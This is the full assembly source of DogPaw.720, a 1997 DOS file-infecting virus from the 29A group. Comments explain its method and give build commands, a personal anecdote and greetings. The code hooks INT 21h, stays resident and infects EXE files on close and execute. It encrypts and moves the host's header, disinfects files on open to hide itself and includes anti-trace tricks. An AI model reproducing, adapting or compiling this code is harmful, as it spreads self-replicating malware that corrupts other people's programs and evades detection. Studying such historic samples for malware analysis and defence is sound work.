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608 lines
22 KiB
NASM
608 lines
22 KiB
NASM
;
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; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
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; DogPaw.720 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
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; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
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; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
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; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
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;
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; This simple DOS virus exploits a certain feature graciosly implemented for
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; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
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; has to do with non-DOS aplicationz run from DOS boxez opened under these
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; 32-bit systemz. It doesnt aply to Win3.1, tho.
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;
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; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box,
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; the comon frustratin mesage "This program cannot be run in DOS mode" or
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; "This program requires Microsoft Windows" apeared. The guyz at Microsoft
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; always lookin for enhancementz finaly made it right with NT and Win95 and
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; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
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; execute a non-DOS aplication from a DOS box, the system loader no longer
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; executes the DOS stub program which displays such mesage, it actually ends
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; up executin the real Win3.1 or Win32 aplication just as if u had double-
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; clicked the program on yer desktop to execute it. But what has this thing
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; got to do with us? Can this feature be used in a virus? the answer is yes.
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;
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; I wrote this virus just to ilustrate how the above feature can be cleverly
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; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro,
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; antidebug, etc. but it implements full stealth tho, and encrypts data of
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; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
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; from undernet #virus as he seems to be the first one havin exploited this.
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;
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;
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; Technical description
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
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: NT and OS/2 programz. It infects filez on close and execute and disinfects
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; them on open. I dont like this kind of stealth at all but it was more than
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; necesary in order to exploit the forementioned feature.
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;
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; When DogPaw infects a file, it encrypts the first 720 bytez of the host,
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; includin its MZ header and stores it at the end of the file, then it over-
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; writes the first 720 bytez of the host with the virus code itself, which
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; is really DOS program code. This way what the virus really does is conver-
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; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con-
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; tainin virus code. This doesnt mean that such filez are trojanized or da-
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; maged, they are fully functional after infection, read on.
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;
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; When a DogPaw-infected file is executed, the system treats it as a genuine
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; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in
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; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc).
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; This way the virus executes as a DOS 16-bit program and plants a resident
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; copy in DOS memory. After this the virus has to execute the original apli-
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; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
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; sinfects the host by decryptin the original data at the end of file and
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; writes it back to the begin of file previosly overwriten with virus code.
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; Next the virus executes the original host and, becoz of the above feature,
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; the system finally executes the original Win3.1, Win32 or OS/2 aplication
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; just as if it had been executed from outside a DOS box.
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;
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; The disadvantagez of this method are plain to see. Microsoft obviosly dont
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; want people to write clumsy DOS programz, tho it is still suportin old DOS
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; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
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; needed in order to make the migration from DOS to Win32 less painfully and
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; troublesome. But once this DOS compatibility disapears from these systemz,
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; those nonDOS programz infected by this virus wont be able to run or spread
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; further from inside these 32-bit OS's. As u can see its not wise at all to
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; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
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; For this purpose we must interact directly with the 32-bit file format, ie
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; the PE format itself. There is no way to circumvent this in the future ;)
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;
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;
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; A dog paw tale
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; Some weekz ago i stole my dady's car to take a short ride around the block
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; and i was so nervous that i almost crashed twice: the first time with a
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; huge big garbage truck (yea even tho i wear glasez) and the second time
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; with a little grandma crossin down the street. Shit.. that was enough for
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; the day, i didnt want to kill anybody nor get killed at worst, so i deci-
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; ded to go back home. I turned on the radio and started to sing "the side-
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; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i
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; had been about to crash twice. Why did i have to open my mouth! Just when
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; i was about to turn right at the next block i heard a suden "crash" follo-
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; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
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; tirez. Shit what da hell was that..? i looked back thru the front mirror
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; just to know the answer. On the road i had left behind, there lied a poor
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; crushed dog. Ohh shit i crushed a dog! Now from time to time when that
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; scene comes to my mind, all i see is that unfortunate squeezed dog wavin
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; goodbye with his paw.. the poor dog paw. #8I
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;
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;
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; Greetingz
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; ÄÄÄÄÄÄÄÄÄ
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; And finaly the greetingz go to:
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;
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; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
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; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
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; Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
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; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
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; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
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; Liquiz ........ Still watin to see that poly of yourz.. #8)
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;
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;
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; Disclaimer
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; ÄÄÄÄÄÄÄÄÄÄ
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; This source code is for educational purposez only. The author is not res-
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; ponsible for any problemz caused due to the assembly of this file.
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;
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;
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; Compiling it
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; ÄÄÄÄÄÄÄÄÄÄÄÄ
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; tasm -ml -m5 -q -zn dogpaw.asm
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; tlink -t -x dogpaw, dogpaw.exe
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;
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;
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; (c) 1997 Jacky Qwerty/29A.
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.model tiny
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.286
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include useful.inc
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include MZ.inc
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v_mark equ 'GD' ;virus mark
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v_size_bytes equ v_end - v_start ;virus size in bytez
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b_size_bytes equ v_size_bytes ;bufer size in bytez
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s_size_bytes equ 100h ;stack size in bytez
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v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz
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v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz
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v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz
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v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez
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v_size_div_512 equ v_size_bytes / 512 ;virus size div 512
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v_size_mod_512 equ v_size_bytes \ ;virus size mod 512
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- (512 * v_size_div_512) ;
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m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez
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- v_end) + b_size_bytes \ ;
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+ s_size_bytes ;
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m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz
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m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz
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.code
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org 100h
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v_start:
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MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start
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IMAGE_DOS_SIGNATURE, \ ;MZ_magic
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v_size_mod_512, \ ;MZ_cblp
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v_size_sects, \ ;MZ_cp
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0, \ ;MZ_crlc
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0, \ ;NZ_cparhdr
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m_size_paras, \ ;MZ_minalloc
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m_size_paras, \ ;MZ_maxalloc
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-11h, \ ;MZ_ss
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(m_size_bytes + 111h) and -2 \ ;MZ_sp
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v_mark, \ ;MZ_csum
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entry_point, \ ;MZ_ip
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-10h \ ;MZ_cs
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>
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org (v_start + MZ_lfarlc)
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old_MZ_low_ptr dw 0
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old_MZ_high_ptr dw 0
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c_start:
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Copyright db 'D' xor 66h
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db 'o' xor 66h
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db 'g' xor 66h
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db 'P' xor 66h
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db 'a' xor 66h
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db 'w' xor 66h
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db ' ' xor 66h
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db 'J' xor 66h
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db 'x' xor 66h
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db 'Q' xor 66h
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db '/' xor 66h
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db '2' xor 66h
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db '9' xor 66h
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db 'A' xor 66h
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db 0 xor 66h
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common_clean_ds:
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push cs
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pop ds
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mov ds:[flag],al
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common_clean: test al,? ;clear carry (clean file)
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org $ - 1
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common_infect: stc ;set carry (infect file)
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pusha
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mov bp,offset clean + 1
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jnc common
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mov si,dx
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mov bp,offset infect + 1
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cld
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@endsz
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std
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lodsw
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lodsw
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cld
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and al,not 20h
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add al,-'E' ;check for EXE extension
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jnz to_popa_ret
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lodsw
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and ax,not 2020h
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add ax,-'XE'
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jnz to_popa_ret
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common: ;this function cleans or infects a file
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;on exit:
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; flag = 0, if error
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mov ax,3D00h
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call call_int_21 ;open file in read/only mode
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jc to_popa_ret
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xchg bx,ax
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push ds dx
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call ptr2begin ;move file pointer to begin of file
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jc end_close
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push cs
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pop ds
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call read ;read first 720 bytez
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jc end_close
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cmp word ptr [si.MZ_csum],v_mark ;check infection
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jnz end_close_clc
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mov ax,[si.MZ_magic]
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cmp word ptr [si.MZ_maxalloc],m_size_paras
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jnz end_close_clc
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add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature
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end_close_clc: clc
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end_close: pushf
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mov ah,3Eh
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call call_int_21 ;close file
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pop ax
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dec bp
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lahf
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pop dx
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or al,ah
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shl ah,4
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pop ds
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xor ah,al
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sahf
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jbe end_popa_ret ;if (carry or zero)
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mov ax,4300h ;save old file atributes
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call call_int_21
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to_popa_ret: jc end_popa_ret
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push ds
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mov si,4*24h-80h
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call get_int
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pop ds
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pusha ;ax, bx, si
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mov bx,cs
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mov ax,offset new_24
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call set_int
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push cx
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mov cl,20h ;set read/write file atributes
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mov ax,4301h
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call call_int_21
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pop cx
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jc end_2popa_ret
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mov ax,3D02h ;open file in read/write mode
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call call_int_21
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jc restore_atrib
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pusha ;cx, dx
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xchg bx,ax
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mov ax,5700h ;get data & time
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call call_int_21
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jc close_file
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push ds es
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pusha
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push cs cs
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pop ds es
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mov si,offset b_start
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lea di,[si + old_MZ_low_ptr - v_start]
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call bp ;clean or infect
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jc err_file
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mov ds:[flag],al ;al!=0 (check this while debugin)
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err_file: popa
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pop es ds
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mov ax,5701h ;set data & time
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call call_int_21
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close_file: mov ah,3Eh ;close file
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call call_int_21
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popa
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restore_atrib: mov ax,4301h ;restore old atributes
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call call_int_21
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end_2popa_ret: popa
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call set_int
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end_popa_ret: popa
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end_ret: ret
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infect proc ;infects a file
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mov cx,b_size_bytes
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cld ;encrypt old MZ header
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encrypt: lodsb
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ror al,cl
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xor al,0C5h
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mov [si-1],al
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loop encrypt
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mov ax,4202h ;move file pointer to end of file
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cwd
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call call_int_21
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jc end_ret
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pusha
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call write ;write old MZ header to end of file
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jc end_popa_ret
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lodsw ;move virus code to buffer area
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xchg dx,di
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mov si,offset v_start
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mov ds:[old_MZ_Magic],ax
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cld
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move_virus: lodsb
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stosb
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loop move_virus
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popa
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stosw ;hardcode file location in virus code
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xchg ax,dx ;
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stosw ;
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jmp ptr2new ;move file pointer to actual MZ header
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infect endp
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get_int: ;gets an interrupt vector
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;on entry:
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; SI = int number * 4
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; DS = 0
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;on exit:
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; DX:AX = int vector adress retrieved
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push 8
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pop ds
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mov bx,[si+2]
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mov ax,[si]
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ret
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clean proc ;cleans an infected file
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mov cx,[di + 2] ;old_MZ_high_ptr
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mov dx,[di] ;old_MZ_low_ptr
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pusha
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call ptr2old ;move file pointer to old MZ header
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jc end_popa_ret
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call read ;read old MZ header
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jc end_popa_ret
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cmp word ptr [si.MZ_magic],1234h ;check old MZ header
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old_MZ_Magic = word ptr $-2
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stc
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jnz end_popa_ret
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cld ;decrypt old MZ header
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decrypt: lodsb
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xor al,0C5h
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rol al,cl
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mov [si-1],al
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loop decrypt
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popa
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call ptr2old ;move file pointer to old MZ header
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jc ptr2new
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sub cx,cx
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mov ah,40h ;remove old MZ header from end of file
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call call_int_21
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ptr2new: call ptr2begin ;move file pointer to actual MZ header
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jc end_clean
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write: mov ah,40h ;write MZ header
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cmp ax,?
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org $-2
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read: mov ah,3Fh ;read MZ header
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mov dx,offset b_start
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mov cx,b_size_bytes
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call call_int_21
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jc end_rd_wr
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cmp ax,cx
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mov si,dx
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end_rd_wr:
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end_clean: ret
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clean endp
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entry_point: mov ax,30AFh
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x = 4*21h-80h
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push x
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mov di,offset old_int_21 ;check if already installed
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int 21h
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cld
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pop si
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add al,-0AFh
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mov bp,si
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jz already ;yea we're instaled, jump
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push ds ;hook int 21h & stay resident
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call get_int
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mov [1+bp-x+si-x],ds
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stosw
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pop ax
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xchg ax,bx
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stosw
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mov ax,offset new_int_21
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call set_int
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already: push di
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mov ds,[2Ch+10h+bp-x] ;get program filename
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get_prog: inc si
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cmp [si],bp
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jnc get_prog
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lea si,[si+4+bp-x]
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pop dx
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@copysz
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call common_clean_ds ;clean infected program
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exec: cmp al,ds:[flag] ;prevent circular execution
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jz exit
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push ds
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mov bx,offset p_block ;execute program
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mov ah,0Dh
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call call_int_21
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mov [bx+4],ds
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mov [bx+8],cs
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pusha
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mov [bx+0Ch],es
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mov ax,4B00h
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call call_int_21
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popa
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mov ah,4Dh
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call call_int_21
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pop ds
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call common_infect
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exit: mov ah,4Ch ;exit to DOS
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jmp call_int_21
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p_block dw 0 ;parameter block to be used by 4B00h
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dw 80h
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dw ?
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dw 5Ch
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dw ?
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dw 6Ch
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dw ?
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new_24: mov al,3
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iret
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ptr2begin: xor dx,dx ;move file pointer to actual MZ header
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mov cx,dx
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ptr2old: mov ax,4200h
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call_int_21: pushf ;call old INT 21h
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push cs
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call jmp_int_21
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ret
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set_int: ;sets an interrupt vector
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;on entry:
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; SI = int number * 4
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; DS = 0
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; DX:AX = int vector adress to store
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push ds
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push 8
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pop ds
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mov [si+2],bx
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mov [si],ax
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pop ds
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ret
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infect_on_close: ;infect on file close
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push ds es
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pusha
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mov bp,sp
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push cs bx
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mov ax,1220h
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int 2Fh ;use file system tablez
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jc fail_dcb
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mov bl,es:[di]
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cmp bl,-1
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cmc
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jc fail_dcb
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mov ax,1216h
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int 2Fh
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fail_dcb: pop bx ds
|
|
pushf
|
|
mov ah,3Eh
|
|
call call_int_21 ;close file
|
|
mov [bp.Pusha_ax],ax
|
|
pop ax
|
|
jc fail_close
|
|
shr al,1
|
|
jc fail_close_clc
|
|
mov ax,':'*100h + mask BDA_DriveNumber
|
|
and al,byte ptr es:[di.DCB_DeviceAtribs]
|
|
mov dl,al
|
|
sub al,-'A'
|
|
mov si,offset program_name + 3
|
|
mov [si-3],ax
|
|
inc dx
|
|
mov ah,47h
|
|
call call_int_21 ;get current directory
|
|
jc fail_close_clc
|
|
cld
|
|
dec si
|
|
push es si ds
|
|
lea si,[di.DCB_FileName]
|
|
mov al,'\'
|
|
pop es di
|
|
stosb
|
|
add al,-'\' ; al=0
|
|
scasb
|
|
jnz $ - 1
|
|
sub al,-'\' ; al='\'
|
|
dec di
|
|
mov cx,size DCB_FileName + 1
|
|
cmp al,[di-1]
|
|
pop ds
|
|
push si
|
|
jz $+3
|
|
copy_name: stosb ;atach file name to path
|
|
lodsb
|
|
cmp al,20h
|
|
loopnz copy_name
|
|
pop si
|
|
mov al,'.'
|
|
mov cl,size DCB_FileExt + 1
|
|
sub si,- size DCB_FileName
|
|
copy_ext: stosb ;atach file extension to file name
|
|
lodsb
|
|
cmp al,20h
|
|
loopnz copy_ext
|
|
xor al,al
|
|
stosb
|
|
push cs
|
|
pop ds
|
|
mov dx,offset program_name
|
|
call common_infect ;infect the file
|
|
fail_close_clc: clc
|
|
fail_close: popa
|
|
pop es ds
|
|
retf 2
|
|
|
|
on_close: jmp infect_on_close
|
|
|
|
self_check: cmp di,offset old_int_21
|
|
jnz jmp_int_21
|
|
mov si,di
|
|
cld
|
|
movs word ptr es:[di],cs:[si] ;copy old int 21h
|
|
movs word ptr es:[di],cs:[si] ;
|
|
go_iret: iret
|
|
|
|
new_int_21: cli ;new INT 21h service routine
|
|
push ax ;antitrace.. dont fuck with me
|
|
push -1
|
|
inc sp
|
|
dec sp
|
|
pop ax
|
|
inc ax
|
|
pop ax
|
|
sti
|
|
jnz go_iret
|
|
chk_3E: cmp ah,3Eh ;close?
|
|
jz on_close
|
|
chk_30: cmp ax,30AFh ;are we already installed?
|
|
jz self_check
|
|
chk_4B: cmp ah,4Bh ;execute?
|
|
jnz chk_3D
|
|
call common_infect
|
|
chk_3D: cmp ah,3Dh ;open?
|
|
jnz jmp_int_21
|
|
call common_clean
|
|
|
|
jmp_int_21: db 0EAh ;JMP SEG:OFF opcode
|
|
v_end: ;virus end on filez
|
|
old_int_21 dd ? ;old INT 21h vector
|
|
|
|
program_name db 80h dup (?) ;buffer to hold program namez
|
|
flag db ? ;used to prevent circular execution
|
|
b_start: ;start of internal buffer
|
|
end v_start
|